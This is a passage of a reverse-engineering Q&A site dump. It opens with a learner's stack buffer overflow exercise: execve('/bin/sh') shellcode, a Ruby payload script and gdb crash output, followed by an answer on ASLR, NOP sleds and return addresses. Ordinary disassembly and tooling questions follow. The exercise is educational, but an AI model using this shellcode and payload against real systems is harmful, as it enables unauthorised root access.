//sh&#xA;\x68\x2f\x62\x69\x6e        push 0x6e69622f&#xA;\x89\xe3                    mov ebx, esp&#xA;\x50                        push eax&#xA;\x53                        push ebx&#xA;\x89\xe1                    mov ecx, esp&#xA;\xb0\x0b                    mov al, 0xb&#xA;\xcd\x80                    int 0x80  &#xA;&#xA;root@kali:~# cat ./exploit.rb&#xA;eip = &quot;bbbbb&quot;&#xA;aes = &quot;a&quot;*97&#xA;shell = &quot;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80&quot; #23 bytes&#xA;&#xA;print (shell + aes + eip) #125 bytes total&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;STEP 6.- Now we must know what address must jump to begin to execute our shell, but here I am stuck because I do not know how to do.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) set disassembly-flavor intel&#xA;(gdb) disass main&#xA;Dump of assembler code for function main:&#xA;   0x0000000000000753 &amp;lt;+0&amp;gt;:     push   rbp&#xA;   0x0000000000000754 &amp;lt;+1&amp;gt;:     mov    rbp,rsp&#xA;   0x0000000000000757 &amp;lt;+4&amp;gt;:     add    rsp,0xffffffffffffff80&#xA;   0x000000000000075b &amp;lt;+8&amp;gt;:     mov    DWORD PTR [rbp-0x74],edi&#xA;   0x000000000000075e &amp;lt;+11&amp;gt;:    mov    QWORD PTR [rbp-0x80],rsi&#xA;   0x0000000000000762 &amp;lt;+15&amp;gt;:    cmp    DWORD PTR [rbp-0x74],0x2&#xA;   0x0000000000000766 &amp;lt;+19&amp;gt;:    je     0x78a &amp;lt;main+55&amp;gt;&#xA;   0x0000000000000768 &amp;lt;+21&amp;gt;:    mov    rax,QWORD PTR [rbp-0x80]&#xA;   0x000000000000076c &amp;lt;+25&amp;gt;:    mov    rax,QWORD PTR [rax]&#xA;   0x000000000000076f &amp;lt;+28&amp;gt;:    mov    rsi,rax&#xA;   0x0000000000000772 &amp;lt;+31&amp;gt;:    lea    rdi,[rip+0xf1]        # 0x86a&#xA;   0x0000000000000779 &amp;lt;+38&amp;gt;:    mov    eax,0x0&#xA;   0x000000000000077e &amp;lt;+43&amp;gt;:    call   0x5f0 &amp;lt;printf@plt&amp;gt;&#xA;   0x0000000000000783 &amp;lt;+48&amp;gt;:    mov    eax,0xffffffff&#xA;   0x0000000000000788 &amp;lt;+53&amp;gt;:    jmp    0x7b5 &amp;lt;main+98&amp;gt;&#xA;   0x000000000000078a &amp;lt;+55&amp;gt;:    mov    rax,QWORD PTR [rbp-0x80]&#xA;   0x000000000000078e &amp;lt;+59&amp;gt;:    add    rax,0x8&#xA;   0x0000000000000792 &amp;lt;+63&amp;gt;:    mov    rdx,QWORD PTR [rax]&#xA;   0x0000000000000795 &amp;lt;+66&amp;gt;:    lea    rax,[rbp-0x70]&#xA;   0x0000000000000799 &amp;lt;+70&amp;gt;:    mov    rsi,rdx&#xA;   0x000000000000079c &amp;lt;+73&amp;gt;:    mov    rdi,rax&#xA;   0x000000000000079f &amp;lt;+76&amp;gt;:    call   0x5d0 &amp;lt;strcpy@plt&amp;gt;&#xA;   0x00000000000007a4 &amp;lt;+81&amp;gt;:    lea    rax,[rbp-0x70]&#xA;   0x00000000000007a8 &amp;lt;+85&amp;gt;:    mov    rdi,rax&#xA;   0x00000000000007ab &amp;lt;+88&amp;gt;:    call   0x5e0 &amp;lt;puts@plt&amp;gt;&#xA;   0x00000000000007b0 &amp;lt;+93&amp;gt;:    mov    eax,0x0&#xA;   0x00000000000007b5 &amp;lt;+98&amp;gt;:    leave&#xA;   0x00000000000007b6 &amp;lt;+99&amp;gt;:    ret&#xA;End of assembler dump.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;STEP 7.- Here is suppose to find the address to put it into the exploit script changing the value of eip but I don`t know what to do neither, sorry&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) run `ruby exploit.rb`&#xA;Starting program: /root/file `ruby exploit.rb`&#xA;1▒Ph//shh/bin▒▒PS▒▒&#xA;                   ̀aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbb&#xA;&#xA;Program received signal SIGSEGV, Segmentation fault.&#xA;0x0000006262626262 in ?? ()&#xA;(gdb) x/40x $esp&#xA;0xffffffffffffe590:     Cannot access memory at address 0xffffffffffffe590&#xA;(gdb) x/40x $rsp&#xA;0x7fffffffe590: 0x00600000      0x00000000      0xffffe668      0x00007fff&#xA;0x7fffffffe5a0: 0xf7b9c168      0x00000002      0x55554753      0x00005555&#xA;0x7fffffffe5b0: 0x00000000      0x00000000      0xb3c231f4      0x54cfb08e&#xA;0x7fffffffe5c0: 0x55554610      0x00005555      0xffffe660      0x00007fff&#xA;0x7fffffffe5d0: 0x00000000      0x00000000      0x00000000      0x00000000&#xA;0x7fffffffe5e0: 0xf76231f4      0x019ae5db      0x589031f4      0x019af56f&#xA;0x7fffffffe5f0: 0x00000000      0x00000000      0x00000000      0x00000000&#xA;0x7fffffffe600: 0x00000000      0x00000000      0xffffe680      0x00007fff&#xA;0x7fffffffe610: 0xf7ffe168      0x00007fff      0xf7de875b      0x00007fff&#xA;0x7fffffffe620: 0x00000000      0x00000000      0x00000000      0x00000000&#xA;(gdb)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At the end of all it must give me a root shell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Almost to finish, on steps 6 and 7 I am really stuck, can you help me please?&lt;/p&gt;&#xA;" OwnerUserId="20846" LastEditorUserId="53" LastEditDate="2017-07-10T16:44:42.700" LastActivityDate="2017-07-10T16:44:42.700" Title="A buffer overflow exercise using a shellcode" Tags="|buffer-overflow|shellcode|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15799" PostTypeId="2" ParentId="15798" CreationDate="2017-07-10T16:19:24.000" Score="4" Body="&lt;p&gt;Okay, so I will try to answer to all your questions and add a few remarks.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Do not disable ASLR system-wide, prefer to disable it within the current process&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, echoing &lt;code&gt;0&lt;/code&gt; in &lt;code&gt;randomize_va_space&lt;/code&gt; will totally shutdown the ASLR for your whole system leaving it vulnerable to external attack. If you are under Linux, the best way to disable locally the ASLR is to use the process personality flags like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; setarch $(uname -m) -R /bin/bash&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This command will start a new &lt;code&gt;bash&lt;/code&gt; process (encapsulated in the first one... think about the Inception movie) which will disable the ASLR. The good thing is that you do not need to be &lt;code&gt;root&lt;/code&gt; to run this command. The bad thing is that if you are running a setuid program, then the personality will be discarded (to avoid an obvious security risk).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, you can note that if you are just experimenting a buffer-overflow exploitation for the first time, then &lt;code&gt;gdb&lt;/code&gt; is disabling the ASLR for you and, for educational purpose, it might be enough to make it work within &lt;code&gt;gdb&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, try to avoid running these kind of things as &lt;code&gt;root&lt;/code&gt;, this is extremely risky... I cannot help but telling you to do it as a simple user.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Where is my mind^Wshellcode ?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, your shellcode is exactly located at your buffer address. You can simply compile your vulnerable program with the debug option (&lt;code&gt;-g&lt;/code&gt;) and then ask gdb to tell you where it is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) print &amp;amp;buffer&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;NOP-sled your injection to make the exploit more reliable!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you wrote a bunch of &lt;code&gt;a&lt;/code&gt;s as padding between the shellcode and the overwrite of the &lt;code&gt;saved eip&lt;/code&gt;, but we usually use this space &lt;strong&gt;before&lt;/strong&gt; the shellcode and fill it with NOPs (&lt;code&gt;0x90&lt;/code&gt;) to build a NOP sled. This technique help to increase the chances to reach the shellcode and execute it (even if you are not very precise at guessing the address of &lt;code&gt;buffer&lt;/code&gt;, you may land in the NOP-sled and follow it to the shellcode). At the end, you should have something like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[NOP-sled + shellcode + return-address]&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Use the Force^Wdebugger, Luke!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do not hesitate to step the program at the assembly level by doing &lt;code&gt;ni&lt;/code&gt; (next-instruction) and &lt;code&gt;si&lt;/code&gt; (step-instruction) and follow what happen. This is extremely helpful to debug and understand what happen.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hope this helped you a bit...&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2017-07-10T16:33:33.777" LastActivityDate="2017-07-10T16:33:33.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15800" PostTypeId="1" AcceptedAnswerId="15801" CreationDate="2017-07-10T18:37:14.383" Score="1" ViewCount="75" Body="&lt;p&gt;I see these in VC++ compiled programs often. However, I've searched for several of them, such as AVCCHKBOX@@ and AVCDLC_NAME@@ to no avail. What are these called?&#xA;&lt;a href=&quot;https://i.stack.imgur.com/1e3nK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1e3nK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18507" LastActivityDate="2017-07-10T19:55:58.377" Title="What is the general term used for these pictured symbols?" Tags="|msvc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15801" PostTypeId="2" ParentId="15800" CreationDate="2017-07-10T19:55:58.377" Score="3" Body="&lt;p&gt;These strings are part of the &lt;em&gt;Run-Time Type Information (RTTI)&lt;/em&gt; produced by Visual C++ for polymorphic classes. This old article of mine describes some of it: &lt;a href=&quot;http://www.openrce.org/articles/full_view/23&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.openrce.org/articles/full_view/23&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-07-10T19:55:58.377" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15803" PostTypeId="1" AcceptedAnswerId="15804" CreationDate="2017-07-11T01:02:57.563" Score="1" ViewCount="139" Body="&lt;p&gt;During my current project I found such code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;move.w  (0xFFFC0C).l, d0 | read SCSR&#xA;andi.w  #0x100, d0       | add 256 to d0&#xA;beq.s   location         | branch if LSB = 0x00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I cannot get the idea of this fragment. I guess author tried to check the status of the UART, but how does &lt;code&gt;andi.w&lt;/code&gt; and &lt;code&gt;beq.s&lt;/code&gt; serves the purpose, when SCSR may contain maximum of 9 bits?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/C3JLQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/C3JLQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20712" LastEditorUserId="60" LastEditDate="2017-07-11T12:48:30.377" LastActivityDate="2017-07-11T14:12:13.237" Title="68k: Adding 0x100 to 9-bit register and doing BEQ.s - how does it make sense?" Tags="|disassembly|assembly|motorola|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15804" PostTypeId="2" ParentId="15803" CreationDate="2017-07-11T10:35:26.150" Score="4" Body="&lt;p&gt;It's not adding. It is &lt;a href=&quot;https://en.wikipedia.org/wiki/Bitwise_operation#AND&quot; rel=&quot;nofollow noreferrer&quot;&gt;binary and operation&lt;/a&gt;, and in translation to C the code looks as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;d0 = readSCSR(); // move.w  (0xFFFC0C).l, d0 | read SCSR&#xA;if (d0 &amp;amp; 0x100) &#xA;//andi.w  #0x100, d0       | not add, but AND 256 to d0&#xA;//beq.s   location         | branch if LSB = 0x00&#xA;{&#xA;    // do whatever needed&#xA;}&#xA;location: // else branch to location&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2017-07-11T14:12:13.237" LastActivityDate="2017-07-11T14:12:13.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15807" PostTypeId="1" AcceptedAnswerId="15970" CreationDate="2017-07-12T05:00:00.843" Score="1" ViewCount="333" Body="&lt;p&gt;How can I find out what code is being called when you right click on a process in Windows Task Manager, and click on &quot;Bring To Front&quot; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is related to &lt;a href=&quot;https://stackoverflow.com/questions/45046765/bring-window-to-foreground-when-mainwindowhandle-is-0&quot;&gt;https://stackoverflow.com/questions/45046765/bring-window-to-foreground-when-mainwindowhandle-is-0&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;SetForegroundWindow&lt;/code&gt; method only works if the &lt;code&gt;MainWindowHandle&lt;/code&gt; is not 0.&#xA;But the &quot;Bring To Front&quot; button in Windows Task Manager works even if the &lt;code&gt;MainWindowHandle&lt;/code&gt; is 0.&lt;/p&gt;&#xA;" OwnerUserId="20860" LastActivityDate="2017-08-01T00:32:09.447" Title="Find the code used when you right click and select &quot;Bring To Front&quot; in Task Manager" Tags="|windows|winapi|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15809" PostTypeId="1" AcceptedAnswerId="15834" CreationDate="2017-07-12T13:47:02.740" Score="2" ViewCount="1302" Body="&lt;p&gt;There are hundreds &lt;em&gt;unicode&lt;/em&gt; strings in rdata's binary, but IDA doesn't define them properly, so I have to specify each Unicode string offset manually (Alt+A -&gt; Unicode). After doing so, string is rendered properly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering, whether there are some scripts here, since I've googled too much, and changed any possible settings and defaults to Unicode, but still no results.&lt;/p&gt;&#xA;" OwnerUserId="17968" LastActivityDate="2017-07-16T08:27:29.253" Title="Auto recognition of Unicode Strings" Tags="|ida|" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15810" PostTypeId="1" AcceptedAnswerId="15813" CreationDate="2017-07-12T15:03:18.040" Score="1" ViewCount="529" Body="&lt;p&gt;I am working on a reverse engineering task, in which I need to recover function prototype (including number of parameters, type of each parameter) from the input binary (&lt;code&gt;ELF&lt;/code&gt; binary on &lt;code&gt;64-bit&lt;/code&gt; Linux).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While &lt;code&gt;IDA-Pro&lt;/code&gt; can be guided to recover function prototype for functions defined inside the binary code, I am trapped in recovering library functions invoked inside the binary code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov str_pointer, %rdi&#xA;call puts  &amp;lt;---- Library function &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So here is my question: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;can I use IDA-Pro to somehow recover the library function's prototype? &lt;/li&gt;&#xA;&lt;li&gt;If not，it seems to me that I can benefit from some database on this info? Could anyone shed some lights on this? &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3215" LastActivityDate="2017-09-11T11:34:59.450" Title="Recover Library Function ProtoType from IDA-Pro" Tags="|ida|ida-plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15811" PostTypeId="1" CreationDate="2017-07-12T22:39:02.680" Score="0" ViewCount="1012" Body="&lt;p&gt;I am trying to understand how to disassemble or at least get a readable copy of the update-binary file located in /META-INF/com/google/android/. It is a modified version for a smartwatch, which contains the key used by the manufacturer to temporarily unlock the bootloader and let the system update properly. I searched on the net but I did not find anything related to this.&#xA;Have you got any idea of how could I extract that key form the binary file? The architecture is MIPS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance!!&lt;/p&gt;&#xA;" OwnerUserId="20866" LastActivityDate="2018-01-17T13:51:03.580" Title="Reverse engineer the update-binary file in Android recovery update packages" Tags="|android|mips|decompile|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15813" PostTypeId="2" ParentId="15810" CreationDate="2017-07-13T09:39:43.690" Score="1" Body="&lt;p&gt;Go to the function that you want to get the prototype for and press &quot;Y&quot;. If you have the decompiler, just decompile it and check if the prototype it guessed is right. Often you will need to fix things manually. However, I can assure these ways work because I actually use them almost daily.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2017-07-13T09:39:43.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15816" PostTypeId="1" AcceptedAnswerId="15817" CreationDate="2017-07-13T16:07:22.563" Score="1" ViewCount="666" Body="&lt;p&gt;I have an executable of a mac or ios app. This app uses a value stored for a key in &lt;code&gt;NSUserDefaults&lt;/code&gt; to change app's flow. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks something like below code,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;If( value set in user details )&#xA;        show something &#xA;else&#xA;        hide something &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question is how can I change the value stored for a key in &lt;code&gt;NSUserDefaults&lt;/code&gt; using hopper disassembler ?&lt;/p&gt;&#xA;" OwnerUserId="20572" LastActivityDate="2017-07-13T16:20:32.007" Title="Changing NSUserDefaults of a mac or iOS binary executable" Tags="|disassembly|ios|osx|hopper|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15817" PostTypeId="2" ParentId="15816" CreationDate="2017-07-13T16:20:32.007" Score="2" Body="&lt;p&gt;The values are stored in a plist file under ~/Library/Preferences (or ~/Library/Containers/.../ if sandboxed). You can find more information about it from &lt;a href=&quot;https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/UserPreferences.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Apple's documentation&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest way to modify a value is to use the defaults program under terminal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;defaults write &amp;lt;bundle identifier&amp;gt; &amp;lt;key&amp;gt; &amp;lt;value&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="14715" LastActivityDate="2017-07-13T16:20:32.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15818" PostTypeId="1" CreationDate="2017-07-13T16:59:43.163" Score="1" ViewCount="116" Body="&lt;p&gt;Let's say I have an IC (integrated circuit) and I want to hide it's function. What would be best practice to do that? &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Removing the markings with sandpaper or acid?&lt;/li&gt;&#xA;&lt;li&gt;(E.g. atmega328, ATtiny85,... ) How to avoid that anyone could find out what program sketch is running on it?&lt;/li&gt;&#xA;&lt;li&gt;Connecting a few useless other ICs without function to it? &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Imagine now you found one of these black bugs (IC) without markings and without other components. What could you do to get the program sketch running on it?&lt;/p&gt;&#xA;" OwnerUserId="17954" LastEditorUserId="17954" LastEditDate="2017-07-13T17:19:35.780" LastActivityDate="2017-07-13T17:19:35.780" Title="How to hide / obfuscate the function of an IC?" Tags="|obfuscation|integrated-circuit|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15820" PostTypeId="1" AcceptedAnswerId="15858" CreationDate="2017-07-14T01:50:23.147" Score="0" ViewCount="74" Body="&lt;p&gt;In &lt;a href=&quot;https://youtu.be/efkLG8-G3J0?t=12m59s&quot; rel=&quot;nofollow noreferrer&quot;&gt;Recon 2011: Practical C++ Decompilation&lt;/a&gt; there is this example where some fields are assigned before the derived class' virtual table pointer is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public: __thiscall CMachine::CMachine(void) proc near&#xA; mov edi, edi&#xA; push esi&#xA; mov esi, ecx&#xA; call CDataStoreObject::CDataStoreObject(void)&#xA; and dword ptr [esi+24h], 0&#xA; or dword ptr [esi+28h], 0FFFFFFFFh&#xA; and dword ptr [esi+2Ch], 0&#xA; or dword ptr [esi+30h], 0FFFFFFFFh&#xA; mov dword ptr [esi], offset const CMachine::`vftable'&#xA; mov eax, esi&#xA; pop esi&#xA; retn&#xA;public: __thiscall CMachine::CMachine(void) endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Igor mentions that the assigning of those fields are not written by the programmer because they come before the virtual table pointer. Would someone mind explaining what these fields are and possibly what the values could represent?&lt;/p&gt;&#xA;" OwnerUserId="19423" LastEditorUserId="18698" LastEditDate="2017-07-16T10:27:44.137" LastActivityDate="2017-07-19T03:45:17.733" Title="What are these extra members in this derived constructor?" Tags="|vtables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15823" PostTypeId="1" AcceptedAnswerId="15824" CreationDate="2017-07-14T09:28:17.100" Score="3" ViewCount="1119" Body="&lt;p&gt;I have a stubborn PE file which I cannot get to load. The PE headers seem to be intact and the file even parses fine in several PE tools. I am receiving a &quot;Invalid Win32 Application&quot; error when I try to fire it up. In fact, the loader never even starts up because there are no loader flags to be displayed for the process in WinDbg. Something is going wrong between the handoff from Explorer.exe and the load inside the Kernel. ProcMon shows a &quot;FILE LOCKED WITH ONLY READERS&quot; status when Explorer.exe tries to &lt;strong&gt;CreateFileMapping&lt;/strong&gt; the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So thus I've entered Kernel Mode debugging on WinDbg. However, I'm not sure how to configure the debugger to properly troubleshoot this problem. When I press &quot;g&quot; and then open the file, it just crashes as normal and I have no log in WinDbg. If I press &quot;Break&quot; then I'm paused. I need to somehow break as soon as I double-click the file and then sep through the kernel code.&lt;/p&gt;&#xA;" OwnerUserId="18507" LastActivityDate="2017-07-14T09:43:35.257" Title="How can WinDbg be used to troubleshoot program loading?" Tags="|windows|pe|windbg|kernel-mode|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15824" PostTypeId="2" ParentId="15823" CreationDate="2017-07-14T09:43:35.257" Score="4" Body="&lt;p&gt;I would suggest you to put a breakpoint on &lt;a href=&quot;https://doxygen.reactos.org/dc/de2/ARM3_2section_8c_source.html#l03369&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;NtCreateSection&lt;/code&gt;&lt;/a&gt; function which is responsible on validating and mapping the PE image &lt;a href=&quot;https://www.osronline.com/showthread.cfm?link=156251&quot; rel=&quot;nofollow noreferrer&quot;&gt;when called with &lt;code&gt;SEC_IMAGE&lt;/code&gt; flag&lt;/a&gt;. Hopefully you can track down where it fails by stepping through it.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-07-14T09:43:35.257" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15826" PostTypeId="2" ParentId="15735" CreationDate="2017-07-14T18:45:22.920" Score="1" Body="&lt;p&gt;You started correctly by finding the Winsock SEND function, and breaking there.  However, to trace back to the point where the packets are not encrypted requires tracing further back than ntdll.dll.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The debugger is pausing on RtlEnterCriticalSection because that function has many uses including those unrelated to sending packets, so it is called very frequently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of single-stepping from SEND, you might have more success if you examine the stack frames - the value at [EBP+4] is the return address for the calling function, and [EBP] is the previous value of EBP.  If you examine that previous value of EBP, let's call it EBP', then that [EBP'+4] is the return address for the calling function, and [EBP'] is the previous value of EBP.  If you follow the chain, you will end up in the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once in the program, you can think about placing breakpoints around the memory locations where packets are stored before being sent.  When you see them being accessed, you can see how the encryption is being performed.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2017-07-14T18:45:22.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15828" PostTypeId="1" CreationDate="2017-07-15T06:43:42.763" Score="5" ViewCount="2067" Body="&lt;p&gt;Essentially, I'm looking for a tool that could reconstruct pseudocode with conditional operators, loops, break/continue, etc. from assembly language code for an arbitrary CPU, &lt;strong&gt;given only a limited understanding of the assembly constructs related to control flow&lt;/strong&gt;, and taking anything that it doesn't understand as opaque blobs. Alternatively, it wouldn't need to understand any assembly if it could take pseudocode &quot;if (condition) goto label&quot; and &quot;goto label&quot; as basic block boundaries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    blob1&#xA;    CMP A, B&#xA;    BLE L1&#xA;    blob2&#xA;    CMP C, D&#xA;    BEQ L2&#xA;L1: &#xA;    blob3&#xA;    CMP E, F&#xA;    BGT L3&#xA;L2: &#xA;    blob4&#xA;    ...&#xA;    B L4&#xA;L3: &#xA;    blob5&#xA;L4: &#xA;    blob6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could become either something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blob1;&#xA;if ( A &amp;gt; B &amp;amp;&amp;amp; { blob2; C == D } || {blob3; E &amp;lt;= F} ) { &#xA;    blob4;&#xA;} else {&#xA;    blob5;&#xA;}&#xA;blob6;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or a conventional tree of ifs, if &lt;code&gt;blob2&lt;/code&gt; and &lt;code&gt;blob3&lt;/code&gt; are &quot;too large&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the variables A to F don't have to follow any addressing mode conventions, they can be arbitrary strings, reproduced literally in the output.&#xA;The tool doesn't need to know anything but how the labels look like, and the style of the comparison operators and the branches (one comparison instruction produces condition codes consumed by various branch instructions, vs. various comparison instructions produce a true/false value in a register, consumed by &quot;branch if true&quot; and &quot;branch if false&quot; instructions, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Things become somewhat nontrivial when these structures are nested, labels are reused, break/continue were used in the source code, incidental non-structured control transfers may occur, and so on.&#xA;Switch/case statements are separate story. To recognize them adequately, &#xA;a deeper understanding of the underlying ISA is needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears that what I need is an implementation of the basic &lt;a href=&quot;http://ieeexplore.ieee.org/document/7546501/&quot; rel=&quot;nofollow noreferrer&quot;&gt;DREAM&lt;/a&gt; decompilation algorithm; I was unable to find a straightforward implementation that takes a CFG in a text format as input. &lt;/p&gt;&#xA;" OwnerUserId="18386" LastEditorUserId="18386" LastEditDate="2017-07-18T01:56:40.260" LastActivityDate="2017-07-19T05:22:04.517" Title="Is there a tool capable of reconstructing structured code from arbitrary assembly code?" Tags="|decompilation|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15831" PostTypeId="1" CreationDate="2017-07-15T20:24:01.823" Score="0" ViewCount="155" Body="&lt;p&gt;i have been trying to get the address of a function and use that hex number for other calculations. I have read that you cannot get the address of a function like you get the address of a variable in c/c++. I have tried casting to &lt;code&gt;void*&lt;/code&gt; and function pointers but none of them seems to be working. As I get different numbers everytime I try to assign the address to a variable or pass it to a function or use it in any way.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main(){&#xA;std::cout&amp;lt;&amp;lt;&amp;amp;funct&amp;lt;&amp;lt;std::endl;&#xA;}&#xA;&#xA;//Output is: 0x010111b3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I look at the disassembly the function starts at 0x01012580. And the difference is not constant. It might be a compiler issue but i don't know how to fix it. Can anyone help me please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SOLVED&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue was with the compiler options. When built using g++ i would get the normal address of the function. But when built using visual c++ compiler i would get a different address rather than the original address of the function. However switching 'Enable Incremental 